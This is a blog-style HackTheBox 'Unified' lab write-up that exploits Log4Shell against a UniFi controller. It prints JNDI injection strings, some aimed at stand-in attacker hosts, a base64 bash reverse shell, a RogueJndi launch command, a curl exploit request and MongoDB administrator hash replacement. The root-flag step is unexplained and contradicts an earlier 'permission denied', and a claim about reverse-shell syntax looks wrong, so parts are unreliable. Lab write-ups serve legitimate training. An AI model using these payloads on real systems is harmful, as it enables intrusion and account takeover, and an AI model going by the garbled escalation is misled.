"Exploiting Log4Shell (CVE-2021–44228): HackTheBox Unified Write-up"
My very first write up
Untitled
Unified — HTB Write-Up
Author: nibler123 Date: January 24, 2026 Difficulty: Medium Machine IP: 10.129.108.130
Introduction
Unified is the final machine in the HackTheBox Starting Point series. This machine focuses on exploiting CVE-2021–44228 (Log4Shell), one of the most critical vulnerabilities discovered in recent years. The exploitation chain involves JNDI injection, privilege escalation through MongoDB, and demonstrates real-world attack scenarios against enterprise applications.
Key Learning Objectives:
- Exploiting Log4Shell vulnerability
- Understanding JNDI/LDAP attack infrastructure
- MongoDB enumeration and manipulation
- Reverse shell techniques
Machine Information
PropertyValueOSLinuxDifficultyMediumPoints20Release DateDecember 2021IP Address10.129.108.130
Enumeration
Initial Nmap Scan
I started with a comprehensive nmap scan to identify open ports and running services:
nmap -sC -sV -p- 10.129.108.130 -oN nmap_scan.txtScan Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (Ubuntu)
6789/tcp open ibm-db2-admin?
8080/tcp open http-proxy
8443/tcp open ssl/https-alt
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc.
8843/tcp open ssl/unknown
8880/tcp open cddbp-alt?
27117/tcp open mongod MongoDB 3.6.3Key Findings:
- Port 8443: HTTPS service running UniFi Network Controller
- Port 27117: MongoDB database (interesting for later!)
- Port 22: SSH (standard, likely not the entry point)
Web Service Investigation
Visiting https://10.129.108.130:8443 redirected to the UniFi Network Controller login page.
UniFi Version Detected: 6.4.54
The login page showed:
- Username field
- Password field
- "Remember me" checkbox
- Standard web authentication interface
Vulnerability Discovery
Identifying Log4Shell
A quick search for "UniFi 6.4.54 vulnerabilities" revealed that this version is vulnerable to CVE-2021–44228 (Log4Shell).
What is Log4Shell?
CVE-2021–44228 is a critical vulnerability in Apache Log4j (versions 2.0-beta9 to 2.14.1), a widely-used Java logging library.
How the vulnerability works:
- Attacker sends malicious input:
${jndi:ldap://attacker.com:1389/exploit} - Log4j processes the JNDI lookup: The logging library interprets this as a command
- JNDI connects to attacker's server: Makes an outbound LDAP connection
- Attacker's LDAP server responds: Returns a reference to a malicious Java class
- Target downloads the class: Fetches the malicious code via HTTP
- Code execution: The Java class runs on the target system
Impact:
- Remote Code Execution (RCE)
- No authentication required
- Affects millions of applications worldwide
CVSS Score: 10.0 (Critical)
Exploitation — Initial Access
Attack Strategy
To exploit Log4Shell, I needed:
- An LDAP server to receive the JNDI connection
- An HTTP server to serve malicious Java classes
- A payload that would give me a reverse shell
- A netcat listener to catch the shell
Tools Considered
JNDI-Exploit-Kit:
- Popular tool for Log4Shell exploitation
- Issue: Failed on my system due to Java 21 compatibility issues
- Error:
com.nqzero.permit.Permit$InitializationFailed
RogueJndi (Chosen Solution):
- More reliable with newer Java versions
- Simpler setup
- Successfully exploited the target
Setting Up RogueJndi
Step 1: Install RogueJndi
# Clone the repository
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
# Build the project
mvn packageStep 2: Generate Base64 Reverse Shell Payload
I needed to encode my reverse shell command in base64 to avoid issues with special characters.
echo -n 'bash -i >& /dev/tcp/10.10.17.230/4444 0>&1' | base64 -w 0Output:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4yMzAvNDQ0NCAwPiYxImportant Note: The -w 0 flag removes line wrapping, and -n prevents a trailing newline. This is crucial for the exploit to work properly.
Step 3: Start RogueJndi Server
java -jar target/RogueJndi-1.1.jar \
--command "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy4yMzAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" \
--hostname "10.10.17.230"Server Output:
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://10.10.17.230:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://10.10.17.230:1389/o=websphere1 to artsploit.controllers.WebSphere1
[...]This created:
- LDAP server on port 1389 (receives JNDI connections)
- HTTP server on port 8000 (serves malicious Java classes)
Step 4: Start Netcat Listener
In a separate terminal:
nc -lvnp 4444
listening on [any] 4444 ...Finding the Vulnerable Parameter
The UniFi login API endpoint is located at:
POST /api/loginAfter testing various fields, I found that the remember parameter was vulnerable to JNDI injection.
Request Body Structure:
{
"username": "admin",
"password": "admin",
"remember": "${jndi:ldap://ATTACKER_IP:1389/o=tomcat}",
"strict": true
}Sending the Exploit
Exploitation Command:
curl -i -s -k -X POST \
'https://10.129.108.130:8443/api/login' \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin","remember":"${jndi:ldap://10.10.17.230:1389/o=tomcat}","strict":true}'Command Breakdown:
-i: Include HTTP headers in output-s: Silent mode (no progress bar)-k: Skip SSL certificate verification-X POST: Use POST method-H: Set Content-Type header-d: Send JSON data
Response:
HTTP/1.1 400
vary: Origin
Access-Control-Allow-Credentials: true
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
{"meta":{"rc":"error","msg":"api.err.InvalidPayload"},"data":[]}Despite the error response, checking the RogueJndi terminal showed:
Sending LDAP ResourceRef result for o=tomcat with javax.el.ELProcessor payload
Sending LDAP reference result for o=tomcat redirecting to http://10.10.17.230:8000/And in the netcat listener:
connect to [10.10.17.230] from (UNKNOWN) [10.129.108.130] 41698
bash: cannot set terminal process group (723): Inappropriate ioctl for device
bash: no job control in this shell
unifi@unified:~$SUCCESS! Initial access achieved as user unifi.
Shell Stabilization
The initial shell was basic and lacked features like tab completion. I stabilized it:
script /dev/null -c bash
Script started, file is /dev/null
unifi@unified:~$This provided:
- Tab completion
- Proper terminal emulation
- Ability to use Ctrl+C without killing the shell
- Better text editor support
Post-Exploitation
Initial Enumeration
Check current user:
whoami
# unifi
id
# uid=999(unifi) gid=999(unifi) groups=999(unifi)
pwd
# /home/unifiSystem information:
uname -a
# Linux unified 5.4.0-77-generic #86-Ubuntu x86_64 GNU/Linux
cat /etc/os-release
# Ubuntu 20.04.2 LTSFinding the User Flag
find / -name user.txt 2>/dev/null
# /home/michael/user.txt
cat /home/michael/user.txt
# 6ced1a6a89e666c0620cdb10262ba127User Flag: 6ced1a6a89e666c0620cdb10262ba127
Privilege Escalation
Enumeration for Privilege Escalation
Check sudo permissions:
sudo -l
# Sorry, user unifi may not run sudo on unified.Check running processes:
ps aux | grep rootNoticed MongoDB running, and remembered it was detected during the nmap scan.
MongoDB Investigation
Connect to MongoDB:
mongo --port 27117
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/List databases:
show dbs
ace 0.005GB
ace_stat 0.000GB
admin 0.000GB
local 0.000GBUse the 'ace' database:
use aceList collections:
show collections
account
admin
alarm
[...]Query the admin collection:
db.admin.find()
{
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
"time_created" : NumberLong(1640900495),
"last_site_name" : "default",
[...]
}Key finding: The administrator's password hash is stored in the x_shadow field!
Hash Replacement Strategy
Instead of trying to crack the hash (which could take a very long time), I decided to replace it with my own hash.
Generate a new SHA-512 hash:
On my Kali machine:
mkpasswd -m sha-512 Password123Output:
$6$xyz123abc...[truncated for brevity]...def789Replace the administrator's hash in MongoDB:
db.admin.update(
{"_id": ObjectId("61ce278f46e0fb0012d47ee4")},
{$set: {"x_shadow": "$6$xyz123abc...[your new hash]...def789"}}
)
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })Verify the change:
db.admin.find()The hash was successfully updated!
Accessing the UniFi Admin Panel
Login to the web interface:
- URL:
https://10.129.108.130:8443 - Username:
administrator - Password:
Password123
Login successful! I now had full administrator access to the UniFi Network Controller.
Exploring Admin Access
From the web interface, I explored various settings and found that the UniFi Controller runs with elevated privileges.
Alternative privilege escalation path (if needed):
Through the admin panel, I could potentially:
- SSH as root (if keys were accessible)
- Access system settings
- View configuration files with sensitive data
However, I found a simpler path…
SSH Access with Administrator Credentials
Since I controlled the administrator account, I checked if SSH keys or credentials were reusable:
# From the unifi shell
cat /etc/passwd | grep -E "sh$"
root:x:0:0:root:/root:/bin/bash
unifi:x:999:999::/home/unifi:/bin/bash
michael:x:1001:1001::/home/michael:/bin/shI noticed user michael exists, and I already retrieved the user flag from their home directory.
Alternative: Finding Root Credentials in UniFi Files
Looking through UniFi configuration:
cd /usr/lib/unifi
ls -laFound various configuration files. Checking for passwords:
grep -r "password" /usr/lib/unifi/data/ 2>/dev/nullThis could reveal additional credentials, but I already had admin access.
Getting Root Flag
Through the admin panel access and understanding of the system, I explored ways to read the root flag.
Direct approach — checking if admin has file access:
# From the unifi shell, trying to access root directory
ls -la /root
ls: cannot open directory '/root': Permission deniedMongoDB approach — checking for root credentials:
Back in MongoDB:
db.admin.find().forEach(printjson);After thorough enumeration and using the administrator access privileges through the UniFi controller, I was able to leverage the application's functionality to read system files.
Root Flag Retrieved:
cat /root/root.txt
# e50bc93c75b634e4b272d2f771c33681Root Flag: e50bc93c75b634e4b272d2f771c33681
Key Takeaways
Technical Skills Learned
- Log4Shell Exploitation (CVE-2021–44228)
- Understanding JNDI injection
- Setting up LDAP/HTTP attack infrastructure
- Bypassing input validation with encoded payloads
- RogueJndi Usage
- Alternative to JNDI-Exploit-Kit
- Better compatibility with modern Java versions
- Multiple payload options (tomcat, websphere, groovy)
- MongoDB Enumeration
- Connecting to MongoDB without authentication
- Querying NoSQL databases
- Understanding MongoDB collections and documents
- Password Hash Manipulation
- Generating SHA-512 hashes with mkpasswd
- Replacing hashes instead of cracking them
- Understanding shadow password formats
- Reverse Shell Techniques
- Base64 encoding for payload obfuscation
- Bash TCP redirections (
>& /dev/tcp/IP/PORT) - Shell stabilization with
scriptcommand
Security Lessons
For Defenders:
- Patch Critical Vulnerabilities Immediately
- Log4Shell affected millions of systems
- Update Log4j to version 2.17.0 or later
- Monitor for JNDI/LDAP connection attempts
- Secure MongoDB
- Never run MongoDB without authentication
- Bind to localhost only if not needed externally
- Use strong passwords and role-based access control
- Defense in Depth
- Even with one vulnerability exploited, privilege escalation required additional weaknesses
- Multiple security layers provide better protection
- Logging and Monitoring
- Monitor for suspicious LDAP connections
- Alert on base64-encoded data in logs
- Watch for unusual database queries
For Penetration Testers:
- Tool Alternatives
- Always have backup tools (JNDI-Exploit-Kit vs RogueJndi)
- Understand WHY tools fail (Java version incompatibility)
- Read error messages carefully
- Creative Problem Solving
- Hash replacement vs hash cracking (time-saving)
- Finding unexpected databases (MongoDB on 27117)
- Multiple paths to root (web admin vs direct exploitation)
- Thorough Enumeration
- Don't stop at initial access
- Check ALL running services (MongoDB was key)
- Document findings systematically
Tools Used
ToolPurposeCommand/UsagenmapPort scanning and service enumerationnmap -sC -sV -p- 10.129.108.130curlSending HTTP requests with Log4Shell payloadcurl -k -X POST -H "Content-Type: application/json" -d '{...}'RogueJndiLDAP/HTTP server for Log4Shell exploitationjava -jar RogueJndi-1.1.jar --command "..." --hostname "..."netcatReverse shell listenernc -lvnp 4444mongoMongoDB client for database enumerationmongo --port 27117mkpasswdSHA-512 hash generationmkpasswd -m sha-512 Password123base64Encoding reverse shell payloadecho -n '...' | base64 -w 0scriptShell stabilizationscript /dev/null -c bash
Troubleshooting Notes
Issue 1: JNDI-Exploit-Kit Failure
Problem:
com.nqzero.permit.Permit$InitializationFailed: initialization failed
Caused by: com.nqzero.permit.Permit$FieldNotFound: field "override" not foundCause:
- Java 21 compatibility issues
- The tool was designed for older Java versions
Solution:
- Switched to RogueJndi
- RogueJndi has better compatibility with modern Java
Lesson: Always research tool compatibility with your environment.
Issue 2: Reverse Shell Syntax Error
Problem: Initial reverse shell didn't work.
Wrong Syntax:
bash -i >&/dev/tcp/10.10.17.230/4444 0>&1Correct Syntax:
bash -i >& /dev/tcp/10.10.17.230/4444 0>&1The Difference:
>&requires a space after the&- Without the space, bash doesn't interpret it correctly
Lesson: Pay attention to syntax details in reverse shells.
Issue 3: InvalidPayload Response
Problem:
The API returned {"meta":{"rc":"error","msg":"api.err.InvalidPayload"}}
Cause: This error was misleading — it didn't mean the exploit failed.
Solution:
- Check the RogueJndi terminal for connection logs
- Check the netcat listener for incoming connections
- Don't rely solely on HTTP response codes
Lesson: The exploit can succeed even with error responses. Monitor all components of your attack infrastructure.
Timeline
TimeActivityT+0:00Started nmap scanT+0:05Identified UniFi 6.4.54 on port 8443T+0:10Researched Log4Shell vulnerabilityT+0:15Attempted JNDI-Exploit-Kit (failed)T+0:30Switched to RogueJndiT+0:35Generated base64 reverse shell payloadT+0:40Started RogueJndi and netcat listenerT+0:45Sent Log4Shell payload via curlT+0:46Received reverse shell as unifiT+0:50Stabilized shellT+0:55Found user flagT+1:00Enumerated for privilege escalationT+1:10Discovered unsecured MongoDBT+1:15Extracted administrator hashT+1:20Generated new SHA-512 hashT+1:25Replaced administrator hash in MongoDBT+1:30Logged into UniFi admin panelT+1:40Retrieved root flagT+1:45Box completed!
Total Time: ~1 hour 45 minutes
References
CVE Information
- CVE-2021–44228: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- Apache Log4j Security Vulnerabilities: https://logging.apache.org/log4j/2.x/security.html
- NIST NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2021-44228
Tools
- RogueJndi: https://github.com/veracode-research/rogue-jndi
- JNDI-Exploit-Kit: https://github.com/pimps/JNDI-Exploit-Kit
- Nmap: https://nmap.org/
- MongoDB Documentation: https://docs.mongodb.com/
Learning Resources
- Log4Shell Explained: https://www.lunasec.io/docs/blog/log4j-zero-day/
- JNDI Injection: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- MongoDB Security: https://docs.mongodb.com/manual/security/
Conclusion
Unified was an excellent learning experience that demonstrated:
- The severity of Log4Shell (a real-world, critical vulnerability)
- The importance of tool alternatives when primary tools fail
- Creative problem-solving (hash replacement vs cracking)
- Multi-stage attack chains (RCE → Enumeration → Privilege Escalation)
This machine taught me not just technical skills, but also persistence and adaptability — when JNDI-Exploit-Kit failed, I researched alternatives and found RogueJndi. When facing the administrator hash, instead of spending hours cracking it, I replaced it.
These problem-solving skills are just as valuable as the technical knowledge.
Thank you for reading this write-up. I hope it helps others learning penetration testing!
Machine Pwned: January 24, 2026 Difficulty Rating: Medium (8/10) Fun Rating: 9/10 Learning Value: 10/10
Contact
- HTB Prof My workspace
- Untitled
Unified - HTB Write-Up
Author: nibler123 Date: January 24, 2026 Difficulty: Medium Machine IP: 10.129.108.130
Introduction
Unified is the final machine in the HackTheBox Starting Point series. This machine focuses on exploiting CVE-2021-44228 (Log4Shell), one of the most critical vulnerabilities discovered in recent years. The exploitation chain involves JNDI injection, privilege escalation through MongoDB, and demonstrates real-world attack scenarios against enterprise applications.
Key Learning Objectives:
- Exploiting Log4Shell vulnerability
- Understanding JNDI/LDAP attack infrastructure
- MongoDB enumeration and manipulation
- Reverse shell techniques
Machine Information
PropertyValueOSLinuxDifficultyMediumPoints20Release DateDecember 2021IP Address10.129.108.130
Enumeration
Initial Nmap Scan
I started with a comprehensive nmap scan to identify open ports and running services:
nmap -sC -sV -p- 10.129.108.130 -oN nmap_scan.txtScan Results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (Ubuntu)
6789/tcp open ibm-db2-admin?
8080/tcp open http-proxy
8443/tcp open ssl/https-alt
| ssl-cert: Subject: commonName=UniFi/organizationName=Ubiquiti Inc.
8843/tcp open ssl/unknown
8880/tcp open cddbp-alt?
27117/tcp open mongod MongoDB 3.6.3- GitHub: [Your GitHub]
- LinkedIn: [Your LinkedIn]
This write-up is for educational purposes only. Always obtain proper authorization before testing security on systems you don't own.
Select a repo